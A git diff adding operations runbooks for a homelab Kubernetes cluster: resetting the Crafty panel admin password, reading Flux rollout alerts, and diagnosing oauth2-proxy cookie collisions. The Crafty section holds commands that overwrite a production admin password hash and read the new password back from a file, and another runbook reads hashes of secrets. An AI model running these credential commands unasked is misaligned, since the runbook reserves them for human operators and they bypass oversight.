+Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
+so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
+action**, not an agent action.
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
+import os, secrets, sqlite3, string, datetime
+from argon2 import PasswordHasher
+pw  = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
+now = datetime.datetime.now()
+c   = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
+cur = c.execute(
+    \"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
+    (PasswordHasher().hash(pw), str(now),
+     str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
+)
+c.commit()
+print(\"rows updated:\", cur.rowcount)
+out = \"/crafty/app/config/reset-creds.txt\"
+open(out, \"w\").write(pw + chr(10))
+os.chmod(out, 0o600)
+print(\"new password written to\", out)
+"'
+```
+
+Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
+# after signing in and rotating:
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
+```
+
+`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
+`password` column) and retry against the right one:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+print([r[0] for r in c.execute(\"SELECT username FROM users\")])
+"'
+```
+
+`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
+retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
+costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
+
+## When to escalate or stop
+
+- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
+  bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
+  the PVC.
+- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
+  reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
+- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
+  every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
+  by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
+  `/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
+- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
+  `runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
+  is an IdP or client-secret problem and no Crafty password will help.
+- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
+  hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
+  you think it is. Record what you measured rather than guessing.

runbooks/flux-rollout.md

@@ -0,0 +1,118 @@
+# flux-rollout — a git change is rolling out, or has stopped halfway
+
+**Alerts:** `FluxRolloutInProgress` (info, no `for:`) and `FluxRolloutStuck` (warning, 30m)
+**File:** `platform/monitoring/alerts.yaml`, group `platform-health.flux`
+**Metrics:** `kube_flux_kustomization_info` / `kube_flux_kustomization_suspended` /
+`kube_flux_gitrepository_info` — kube-state-metrics custom-resource-state, configured in
+`platform/monitoring/kube-prometheus-stack.yaml`
+
+## What this means here
+
+These two are the **deploy notification**, not a fault report. On this cluster merging a PR into
+`main` IS the deploy, and until this pair existed nothing told you a deploy had begun: the Flux event
+stream emits `ReconciliationSucceeded` on every 10-minute tick whether or not anything changed (101
+such events in one hour, measured 2026-09-29), so "applying a commit" and "idle" looked identical.
+
+The pair reads the one signal that moves only when git moves — the **applied revision**:
+
+- `GitRepository/flux-system` `.status.artifact.revision` — what `main` is (polled every 1m)
+- `Kustomization/*` `.status.lastAppliedRevision` — what each tier has actually applied
+
+**`FluxRolloutInProgress` fires** the moment any non-suspended Kustomization's applied revision is
+not the revision fetched from `main`, and **clears when every one of them has caught up**. So:
+
+| Mail | Subject | Means |
+|---|---|---|
+| firing | `[FLUX] applying — FluxRolloutInProgress` | a commit started rolling out |
+| resolved | `[FLUX] applied — FluxRolloutInProgress` | every Kustomization reached it; rollout complete |
+
+Both are expected, routine, and not a problem. The `severity: info` label routes them to the
+dedicated `email-deploy` Alertmanager receiver so they never arrive subject-lined `[WARNING]`.
+
+**`FluxRolloutStuck` is the one that matters.** Same expression, `for: 30m`, `severity: warning`. It
+means a deploy started and did not converge — the "applying" mail arrived and the "applied" mail
+never did. The 14-tier chain is dependency-ordered and revision-gated, so a single stalled tier holds
+every tier below it on "dependency not ready".
+
+## First commands
+
+`kubectl` does not work on the workstation — the toolchain lives only in the pinned container, and
+the context must always be named explicitly.
+
+Which tiers are behind, and on what:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get gitrepository flux-system \
+    -o jsonpath="WANTED: {.status.artifact.revision}{\"\n\"}"
+  kubectl --context k3s-prod get kustomizations -A \
+    -o custom-columns="NAME:.metadata.name,APPLIED:.status.lastAppliedRevision,READY:.status.conditions[?(@.type==\"Ready\")].status"'
+```
+
+Any row whose `APPLIED` differs from `WANTED` is a tier this alert is naming. Then ask **why** that
+tier is not moving — its Ready condition carries the reason:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get kustomization <name> \
+    -o jsonpath="{range .status.conditions[*]}{.type}={.status} {.reason}: {.message}{\"\n\"}{end}"'
+```
+
+Confirm the alert is reading live data rather than a stale exporter:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  POD=$(kubectl --context k3s-prod -n monitoring get pod -l app.kubernetes.io/name=prometheus -o name | head -1)
+  kubectl --context k3s-prod -n monitoring exec "$POD" -c prometheus -- \
+    /bin/promtool query instant http://localhost:9090 "count by (__name__) ({__name__=~\"kube_flux.*\"})"'
+```
+
+Three names must come back (`kube_flux_kustomization_info`, `kube_flux_kustomization_suspended`,
+`kube_flux_gitrepository_info`). If that query is **empty**, the alerts are inert — go to the last
+cause below.
+
+## Likely causes, most likely first
+
+1. **Nothing is wrong — the rollout is simply in flight.** Most Kustomizations reconcile on a 10m
+   interval and the chain is sequential, so several minutes between the "applying" and "applied"
+   mails is normal. `cilium` is on a 1h interval and can legitimately be the last to converge.
+2. **A gating tier is unhealthy, so everything below it is parked.** Look for `DependencyNotReady`
+   in the stuck tier's message and walk *up* the chain to the first tier that is not Ready; that one
+   is the real fault. Its own alert (`FluxReconciliationFailure`) and runbook `flux-reconcile` own it.
+3. **A Kustomization is suspended.** A suspended tier is excluded from this alert by design (so it
+   cannot hold the "applied" mail open forever), but anything that `dependsOn` it still stalls and
+   *will* show here. `FluxResourceSuspended` / runbook `flux-suspended` covers it.
+4. **A health check is timing out.** A `wait: true` tier only records `lastAppliedRevision` once its
+   objects pass health checks, so a workload that never goes Ready keeps the tier on the old
+   revision even though the manifests applied fine.
+5. **kube-state-metrics is not publishing the `kube_flux_*` family.** Then the rules are inert and
+   you would get *no* mail at all rather than a stuck one — so this is the cause when the complaint
+   is silence. The metrics come from `customResourceState` plus a read-only RBAC rule for
+   `kustomize.toolkit.fluxcd.io` / `source.toolkit.fluxcd.io`; without that RBAC, KSM emits the set
+   **empty** and logs a forbidden error. Check its logs:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c '
+     kubectl --context k3s-prod -n monitoring logs deploy/kube-prometheus-stack-kube-state-metrics \
+       --tail=50 | grep -i "forbidden\|custom.resource" || echo "no RBAC complaints"'
+   ```
+   Note the chart puts **no checksum annotation** over that ConfigMap, so a change to the config
+   alone does not restart the pod — that is why `podAnnotations` carries a
+   `homelab.keithjackson.dev/crs-config-rollout` counter that must be bumped in the same commit.
+
+## When to escalate or stop
+
+- **`FluxRolloutInProgress` alone, cleared within ~15 minutes: do nothing.** That is the feature
+  working. Do not suspend, reconcile or apply anything in response to it.
+- **`FluxRolloutStuck` firing: fix the upstream fault, not this symptom.** This alert names the
+  tier that is behind; it never names the cause. Walk up to the first non-Ready tier and use
+  `flux-reconcile`.
+- **Never `kubectl apply`, `edit` or `patch` the change through by hand.** Flux reconciles `main`;
+  a hand-applied object is drift that the next reconcile reverts or, worse, adopts — and it makes
+  the applied-revision signal these alerts read a lie. `flux reconcile` (an operator action, never
+  an agent's) is the only nudge that is safe, and it only *hurries* the same pull.
+- **Escalate to a revert if a stuck rollout is degrading service.** Reverting the offending commit
+  on `main` through the normal PR flow is the rollback path; see runbook `update-rollback`.
+- **If both alerts are silent during a deploy you know happened,** the notification itself is broken,
+  not the deploy. That is cause 5 above, and it is worth fixing immediately — silence from these
+  rules is indistinguishable from "no deploys happened", which is the exact defect they were
+  written to close.

runbooks/kustomization.yaml

@@ -60,8 +60,12 @@ configMapGenerator:
       - cnpg-exporter=cnpg-exporter.md
       - cnpg-primary-spread=cnpg-primary-spread.md
       - cnpg-wal-growth=cnpg-wal-growth.md
+      # Operator procedure, not alert-linked (Crafty's local login is a second factor behind
+      # the Keycloak gate and its bootstrap password lives only on the PVC).
+      - crafty-admin-credential=crafty-admin-credential.md
       - denied-flows=denied-flows.md
       - flux-reconcile=flux-reconcile.md
+      - flux-rollout=flux-rollout.md
       - flux-suspended=flux-suspended.md
       - image-automation=image-automation.md
       - image-policy-stalled=image-policy-stalled.md
@@ -81,6 +85,11 @@ configMapGenerator:
       - node-io=node-io.md
       - node-memory=node-memory.md
       - node-memory-swap=node-memory-swap.md
+      # Operator procedure, not alert-linked. Reading the per-app oauth2-proxy sidecar log to tell
+      # Keycloak, the sidecar and the app's own login apart. Cookie collision between two sidecars
+      # presents as random session loss in ONE app's log and is only legible with both side by side,
+      # so the page has to be reachable at 3am without going looking for it in git.
+      - oauth2-proxy-session=oauth2-proxy-session.md
       # Operator procedure, not an alert page (no alert links to it — the
       # alert-runbooks-resolvable check treats that as advisory). It is served
       # because the plex.tv claim window is short and is not a thing to go looking

runbooks/oauth2-proxy-session.md

@@ -0,0 +1,195 @@
+# oauth2-proxy-session — telling the auth layers apart from the sidecar log
+
+**Not alert-driven.** This is an operator procedure for the per-app oauth2-proxy sidecars
+(`jackett`, `pihole`, `qbittorrent`, `radarr`, `sonarr`, `crafty`) and the shared forward-auth
+proxy in namespace `oauth2-proxy`. Use it when a gated UI behaves as though you are signed in and
+signed out at the same time: the page loads, but its buttons and saves quietly do nothing.
+
+> The sidecar log contains **email addresses, session UUIDs and full callback URLs including an
+> OAuth `code`**. Read it, do not paste it. (Repo rule §6: secrets never enter a transcript.)
+
+## What this means here
+
+Every gated app on `home.keithjackson.dev` has **at least two** independent authentications
+stacked on it, and the symptom rarely names the one that refused:
+
+1. **Keycloak** — the `homelab` realm issues the token. Failures here are visible: you see a login
+   form, or an error page from Keycloak's own hostname.
+2. **The oauth2-proxy sidecar** — validates the session cookie and the group claim
+   (`media-users` / `platform-admins`). **This is the layer that fails silently**, and the rest of
+   this page is about reading it.
+3. **The app's own login**, where it has one — Crafty and Radarr/Sonarr each present a local login
+   *behind* the Keycloak gate. See `runbooks/crafty-admin-credential.md` for that layer.
+
+The sidecar's access log distinguishes all three, if you know the four lines to look for. Get it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1'
+
+Substitute the namespace and label for the app you are chasing. Always pass `--context k3s-prod`:
+`dev.sh` merges both clusters and picks a current-context **per invocation**, and that default has
+already changed once. Do not run two `dev.sh` invocations at the same time.
+
+### The four lines, and what each one means
+
+| Log line | What actually happened | Which layer |
+|---|---|---|
+| `[AuthSuccess] Authenticated via OAuth2: Session{... groups:[...]}` | Keycloak issued a token and the proxy accepted it. **The IdP is fine.** | Keycloak ✔ |
+| `[oauthproxy.go:1026] No valid authentication in request. Initiating login.` | **No session cookie was presented at all.** Either you never had one, or something *deleted* it — see below. | sidecar |
+| `[stored_session.go:94] Error loading cookied session: cookie signature not valid, removing session` | A cookie **of the right name** arrived that this proxy **could not decrypt**. Almost always a *different* proxy's cookie. Note `removing session`: this proxy then **deletes** it. | sidecar, cookie collision |
+| an upstream path of `-` instead of `/` in an access-log line | the **proxy answered the request itself**; it never reached the app. Compare `POST - "/api/..."` against `POST / "/api/..."`. | sidecar |
+
+That last column is the one people miss. The upstream field sits between the method and the quoted
+path. `-` means the proxy handled it (a redirect, a 401, its own `/oauth2/*` endpoints); `/` means
+it was proxied to the app. Count them:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n jackett logs \
+      -l app.kubernetes.io/name=jackett -c oauth2-proxy --tail=-1 \
+      | grep -v "\"/ping\"" | grep -E " (POST|PUT|DELETE) " | cut -c1-140'
+
+If your writes show `-`, the app never saw them. On 2026-09-30, **4 of the 6 POSTs** in jackett's
+log had `-`.
+
+## First commands
+
+**1. Did Keycloak ever succeed?** No `AuthSuccess` at all means this is not a cookie problem —
+go to `runbooks/keycloak-down.md` or `runbooks/keycloak-client-secrets.md`.
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 | grep -c AuthSuccess'
+
+**2. How long does a session last?** Subtract `created` from `expires` on an `AuthSuccess` line.
+If it is exactly **5m**, the session's lifetime is Keycloak's access-token lifetime and the proxy
+is not refreshing it:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> logs \
+      -l app.kubernetes.io/name=<app> -c oauth2-proxy --tail=-1 \
+      | grep AuthSuccess | tail -1 | grep -o "created:[^ ]* [^ ]*\|expires:[^ ]* [^ ]*"'
+
+The same line says `refresh_token:true` — the proxy is *holding* a refresh token. It will only
+spend it if `--cookie-refresh` is set; the default is `0`, meaning disabled.
+
+**3. Is this a cookie collision?** Two checks, and you want both.
+
+*Names and scopes* — every instance that emits the default name `_oauth2_proxy` on the shared
+`.home.keithjackson.dev` domain is in the collision set with every other one:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod get pods -A -o json \
+      | grep -E "cookie-name|cookie-domain"'
+
+An instance with **no** `--cookie-name` argument is using the default. That is the failure — the
+flag being absent, not wrong.
+
+*The smoking gun* — search **every** proxy, not just the one you are debugging, for the removal
+line, and put the timestamps next to each other:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      echo "== $ns"; kubectl --context k3s-prod -n $ns logs -l app.kubernetes.io/name=$ns \
+      -c oauth2-proxy --tail=-1 2>/dev/null | grep stored_session; done'
+
+**4. Do the cookie-secrets actually differ?** They should — but confirm the collision is between
+instances that genuinely cannot read each other. Compare **hashes**, never values:
+
+    infra/devcontainer/dev.sh run bash -c 'for ns in jackett pihole qbittorrent radarr sonarr crafty; do \
+      printf "%s " "$ns"; kubectl --context k3s-prod -n $ns get secret $ns-oauth2-proxy \
+      -o jsonpath="{.data.cookie-secret}" | sha256sum | cut -c1-12; done'
+
+Never print `.data` or `.stringData` itself. A password has been leaked into a transcript here
+before.
+
+### Do not rank apps by their failure ratio
+
+Counting `No valid authentication` against `AuthSuccess` per app looks like a health metric and is
+not one. **It ranks chattiness, not breakage.** An app whose UI polls or holds a WebSocket
+manufactures one failure line per retry, so a single dead cookie in one idle browser tab becomes
+scores of log lines, while an app nobody is using scores zero no matter how broken it is. Measured
+2026-09-30: Radarr showed **156** unauthenticated requests against **1** `AuthSuccess`, but the top
+paths were `/api/v3/command` (62), `/api/v3/queue/details` (46) and `/signalr/messages/negotiate`
+(43) — polling, not 156 user-visible failures.
+
+**Bound the window to the current pod, not to wall-clock.** A ratio measured over 24 h across a pod
+that restarted 13 h ago is mostly about the *previous* configuration, and that is exactly how a
+deployed fix gets written off as ineffective. The pod's own log has an exact boundary — its process
+start — so read it there:
+
+    infra/devcontainer/dev.sh run bash -c 'kubectl --context k3s-prod -n <ns> get pod \
+      -l app.kubernetes.io/name=<app> -o jsonpath="{.items[*].status.startTime}{\"\n\"}"'
+
+then count within that same pod's log. On 2026-09-30 this took Crafty from an apparent 81:1 over 24 h
+to **3 failures in its fixed pod's entire 13 h 52 m life**, two of them `/ws` reconnects.
+
+## Likely causes, most likely first
+
+1. **Cookie collision between two per-app proxies.** Several instances emit the default
+   `_oauth2_proxy` on `.home.keithjackson.dev` with different `cookie-secret`s. Whoever
+   authenticates last overwrites the rest; the losers log `cookie signature not valid, removing
+   session` and — because `removing session` clears the cookie on *their* `--cookie-domain`, which
+   is the whole zone — **delete a session belonging to an app in another namespace**. The victim
+   then logs `No valid authentication` with no cookie at all, seconds after a clean login, while
+   its own `expires` is still minutes away. **Read both logs side by side; one app's log alone
+   makes this look like random session loss.** Fix: a unique `--cookie-name` and a host-scoped
+   `--cookie-domain` on the per-app sidecar. The shared forward-auth proxy keeps the zone-wide
+   scope — cross-host auth is its job.
+2. **Session pinned to a 5-minute access token with no refresh.** `--cookie-refresh` unset means
+   the proxy never spends the refresh token it holds, so the session expires with the access token.
+   Set it to about half the measured token lifetime.
+3. **An XHR got a 302 instead of a 401.** The app's JavaScript follows the redirect invisibly, the
+   live Keycloak SSO session satisfies it without a prompt, and the XHR resolves with **HTML where
+   it expected JSON**. Nothing is logged as an error and the operator is never re-prompted — this
+   is what "it just doesn't save, and reloading doesn't help" looks like. Worse on a write: a
+   browser following a 302 re-issues a POST as a GET and **drops the body**, so the change is
+   discarded silently. oauth2-proxy's built-in AJAX guard only fires on an exact
+   `Accept: application/json`, which most app JavaScript does not send; make it deterministic with
+   `--api-route=<regex>` (**singular** — `--api-routes` does not exist and the proxy refuses to
+   start). Keep browser-navigable paths *out* of the regex so a plain page load still signs you in.
+4. **Group membership.** An `AuthSuccess` followed by `403` is the `--allowed-group` gate, not a
+   session problem. Check the `groups:[...]` field on the `AuthSuccess` line.
+5. **The app's own second login.** Crafty, Radarr and Sonarr each have one. `AuthSuccess` followed
+   by the app's own `/login` page is layer 3, not layer 2.
+
+## When to escalate or stop
+
+- **Stop before you `kubectl edit`/`patch`/`apply` anything.** Flux reconciles `main`; a
+  hand-applied flag is drift that the next reconcile reverts or, worse, adopts. Argument changes
+  go through a branch and a PR. Reading logs is always safe; changing the Deployment is not an
+  agent action.
+- **Do not hand-edit `apps/**/<app>.yaml` — those files are GENERATED.** The five per-app sidecars
+  (jackett, pihole, qbittorrent, radarr, sonarr) get their argument list from one shared function,
+  `_oauth2_sidecar_container()` in `catalog/render.py`; `catalog/<app>.yaml` declares only
+  `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`, so there
+  is **no per-app override hook**. A hand-edit to the rendered file is caught by the merge gate's
+  `render-golden` stage ("GOLDEN DRIFT ... does not match the canonical render") and would be
+  erased by the next render anyway. Change the renderer, then regenerate:
+
+      python3 catalog/render.py --all catalog -o apps --wave-layout --no-image-automation
+
+  **Budget for the blast radius**: because the function is shared, any change to it rewrites the
+  sidecar block in **all five** rendered apps, and the gate requires all five be regenerated in
+  the same commit. There is no way to change one app's sidecar arguments alone. Measured
+  2026-09-30. Coordinate before starting — this is a single change, not five.
+- **Crafty is the exception** and is not rendered from the catalog: its sidecar is hand-written in
+  `platform/crafty/deployment.yaml`, so it can be, and was, fixed independently.
+- **You cannot currently alert on any of this**, and that is worth knowing before you promise
+  monitoring. Measured 2026-09-30: no per-app sidecar sets `--metrics-address` and none declares a
+  `metrics` container port, so oauth2-proxy's metrics listener never starts — the only oauth2-proxy
+  series in Prometheus come from the shared proxy in namespace `oauth2-proxy`, which does set both.
+  Until the renderer emits them for the per-app sidecars, every diagnosis on this page is
+  log-reading only.
+- **Validate an argument change before you open the PR**, not after. The pinned image will tell
+  you what it understood, without touching the cluster:
+
+      podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help
+
+  Running it with your full proposed argument list prints a `Cookie settings:` line and an
+  `API route - Path:` line back at you, and rejects mutually exclusive flags outright
+  (`--session-cookie-minimal` with `--cookie-refresh`, for one). A flag typo here is a CrashLoop
+  on a service you have just told someone is fixed.
+- **Do not rotate a `cookie-secret` to "clear" a bad session.** It signs every live session out of
+  that app and does nothing about the collision, which is caused by the *names* matching, not the
+  secrets differing.
+- **Escalate to Keycloak** (`runbooks/keycloak-down.md`, `runbooks/keycloak-client-secrets.md`) if
+  there is no `AuthSuccess` in any proxy's log — that is an IdP or client-secret problem and no
+  cookie flag will help.
+- **Hand off rather than guess** if you see `cookie signature not valid` on a proxy that already
+  has a unique `--cookie-name`. That combination should not occur; it means something is writing
+  that name which is not in this inventory. Record what you measured.